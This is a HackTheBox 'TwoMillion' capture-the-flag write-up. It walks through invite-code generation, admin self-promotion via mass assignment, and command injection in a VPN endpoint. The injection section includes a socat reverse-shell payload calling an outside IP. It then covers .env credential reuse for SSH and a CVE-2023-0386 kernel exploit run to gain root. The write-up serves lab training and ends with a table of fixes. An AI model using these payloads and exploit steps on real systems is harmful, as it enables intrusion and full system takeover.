Difficulty: Easy | OS: Linux | Tags: API, Command Injection, CVE-2023–0386, OverlayFS
Introduction
TwoMillion is a nostalgic machine — it recreates the old HackTheBox invite-code registration system. What looks like a simple web app turns out to be a chain of API vulnerabilities: obfuscated JavaScript, a broken access control flaw, and a command injection that lands you a shell. From there, a leaked .env file and a kernel exploit get you root.
This writeup covers the full attack chain with explanations of why each technique works.
Attack Chain:
JS Deobfuscation → Invite Code Generation → API Enumeration
→ Broken Access Control (IDOR) → Command Injection → RCE
→ Credential Leak (.env) → SSH → CVE-2023-0386 → RootReconnaissance
Nmap
nmap -sS -sC -sV -T4 10.129.229.66 -oA scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/Two ports: SSH and HTTP. Nginx redirects to 2million.htb — add it to /etc/hosts:
echo "10.129.229.66 2million.htb" >> /etc/hostsDirectory Fuzzing
ffuf -u http://2million.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
-mc 200,301,302,403 -e .php,.bak,.old,.txt -t 50Nothing critical from automated fuzzing. Time for manual enumeration.
Web Enumeration
Browsing to http://2million.htb shows an old-school HTB landing page with a /invite registration page that requires an invite code.
Finding the Hidden JS Endpoint
Inspecting page source reveals a script: /js/inviteapi.min.js.

The code is obfuscated using a classic packer pattern:
eval(function(p,a,c,k,e,d){...}('1 i(4){h 8={"4":4};$.9({...', 24, 24, '...'.split('|'), 0, {}))What is this? This is eval-based JavaScript packing — the code is compressed and reconstructed at runtime. Paste it into a deobfuscator (e.g., de4js.hackerfactor.com) to get the clean version:
function verifyInviteCode(code) {
$.ajax({ type: "POST", url: '/api/v1/invite/verify', data: { "code": code }, ... });
}
function makeInviteCode() {
$.ajax({ type: "POST", url: '/api/v1/invite/how/to/generate', ... });
}Two API endpoints revealed. Let's hit the generation one.
Generating an Invite Code
Step 1 — Ask the API how to generate a code
POST /api/v1/invite/how/to/generate HTTP/1.1
Host: 2million.htbResponse:
{
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr",
"enctype": "ROT13"
}
}ROT13 is a simple substitution cipher — each letter shifts 13 positions. Decode it on CyberChef:
In order to generate the invite code, make a POST request to /api/v1/invite/generateStep 2 — Generate the code
POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htbResponse:
{"data": {"code": "RENVUUktTTFMQkctSlE0UjAtVDJUVUc=", "format": "encoded"}}Base64 decode:
DCUQI-M1LBG-JQ4R0-T2TUGUse this code to register an account on /invite. ✅
API Enumeration — The Route List Trick
After logging in, the app has a /home/access page to download VPN configs. Let's enumerate the API.
Lesson learned the hard way: Sending GET /api/v1/ returns a 301 redirect to a 404 page. The fix is simple — drop the trailing slash:
GET /api/v1 HTTP/1.1
Host: 2million.htb
Cookie: PHPSESSID=<your_session>This returns the full API route map:
{
"v1": {
"user": {
"GET": { "/api/v1/user/vpn/generate": "...", ... },
"POST": { "/api/v1/user/register": "...", "/api/v1/user/login": "..." }
},
"admin": {
"GET": { "/api/v1/admin/auth": "Check if user is admin" },
"POST": { "/api/v1/admin/vpn/generate": "Generate VPN for specific user" },
"PUT": { "/api/v1/admin/settings/update": "Update user settings" }
}
}
}There's an admin section. Let's probe it.
Privilege Escalation via Broken Access Control
Testing the Admin Settings Endpoint
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Cookie: PHPSESSID=<your_session>Response: "Invalid content type." — Add Content-Type: application/json.
New response: "Missing parameter: email" — The API is leaking its expected parameters. This is a classic iterative parameter discovery pattern.
PUT /api/v1/admin/settings/update HTTP/1.1
Content-Type: application/json
{"email": "test@test.com"}Response: "Missing parameter: is_admin"
{"email": "test@test.com", "is_admin": 1}Response:
{"id": 13, "username": "Test", "is_admin": 1}What just happened? This is a Broken Access Control vulnerability (OWASP A01). The API endpoint that updates admin status has no authorization check — any authenticated user can promote themselves to admin. This is also known as Mass Assignment: the server blindly accepts and applies user-supplied fields, including privileged ones like is_admin.
Command Injection → Remote Code Execution
Now admin, we can hit the VPN generation endpoint:
POST /api/v1/admin/vpn/generate HTTP/1.1
Content-Type: application/json
Cookie: PHPSESSID=<your_session>
{"username": "test"}Returns a .ovpn file. The username is being passed directly to a shell command — let's test injection.
Why aaa;id; works but aaa;id doesn't
The backend likely constructs a command like:
easyrsa gen-req <username> nopass && cat /output/<username>.ovpnWith aaa;id;, the shell parses three separate commands:
easyrsa gen-req aaa nopass && cat /output/aaaid← this executes.ovpn← fails silently
Without the trailing ;, the shell tries to run id.ovpn as a single command — it doesn't exist, so you get an empty response.
{"username": "aaa;id;"}
uid=33(www-data) gid=33(www-data) groups=33(www-data)RCE confirmed. Now get a reverse shell:
# Listener
ncat -lvnp 9001
{"username": "aaa;socat TCP:10.10.16.181:9001 EXEC:sh;"}Shell caught as www-data. ✅
Post-Exploitation — Credential Discovery
The .env File
ls -la /var/www/html
cat /var/www/html/.env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123Always check .env files — developers routinely leave plaintext credentials in them, forgetting they're accessible from the web root.
Database Enumeration
mysql -u admin -pSuperDuperPass123
USE htb_prod;
SELECT * FROM users;
| TRX | $2y$10$TG6oZ3ow... | 1 |
| TheCyberGeek | $2y$10$wATidKUu... | 1 |
| Test | $2y$10$b8MvwKMv... | 1 |BCrypt hashes — too expensive to crack with a wordlist. But we have the DB password and there's an admin user on the system...
SSH with Reused Credentials
ssh admin@2million.htb
Password: SuperDuperPass123✅ Password reuse between the database user and the system user.
Privilege Escalation to Root — CVE-2023–0386
LinPEAS Findings
Running linpeas.sh flags the kernel:
Kernel release: 5.15.70-051570-generic
CVE-2023-0386 | OverlayFS suid smuggle
Match: ver>=5.11, ver<=6.2, CONFIG_USER_NS=yWhat is CVE-2023–0386?
This is an OverlayFS privilege escalation. OverlayFS allows layering filesystems (used heavily by Docker). The vulnerability: an unprivileged user can copy a setuid binary into an overlay mount, and the kernel fails to strip the SUID bit when it's merged into the upper layer. This lets you execute the binary as root from an unprivileged context.
Exploitation
# On attacker machine
git clone https://github.com/xkaneiki/CVE-2023-0386
# Transfer to target, compile
cd CVE-2023-0386 && make
# Step 1: Mount the overlay
./fuse ./ovlcap/lower ./gc &
# Step 2: Trigger the exploit
./exp
[+] mount success
[+] exploit success!
root@2million:/tmp/CVE-2023-0386# whoami
rootFlags
# User flag
cat /home/admin/user.txt
# Root flag
cat /root/root.txtAnd in /root/thank_you.json — a message from the HTB creators thanking the community that built the original platform. A nice touch for a machine built around nostalgia.
Attack Chain Summary
[Recon] nmap → ports 22, 80
↓
[JS Deobfuscation] inviteapi.min.js → hidden API endpoints
↓
[ROT13 + Base64] /api/v1/invite/how/to/generate → invite code
↓
[API Route Leak] GET /api/v1 → full admin endpoint map
↓
[Broken Access Control] PUT /api/v1/admin/settings/update → is_admin: 1
↓
[Command Injection] POST /api/v1/admin/vpn/generate → RCE as www-data
↓
[Credential Leak] /var/www/html/.env → SuperDuperPass123
↓
[SSH] admin@2million.htb → user flag
↓
[CVE-2023-0386] OverlayFS SUID smuggle → rootKey Takeaways
Vulnerability Root Cause Fix Obfuscated JS leaking endpoints Security through obscurity Don't expose API logic client-side Broken Access Control No authz check on admin endpoint Verify is_admin server-side before allowing updates Command Injection Unsanitized input in shell_exec Never pass user input to shell; use parameterized APIs Credential Reuse DB password = SSH password Unique credentials per service CVE-2023-0386 Kernel 5.15.70 unpatched Patch kernel; restrict user namespaces
Follow for more writeups on web exploitation and Active Directory attacks.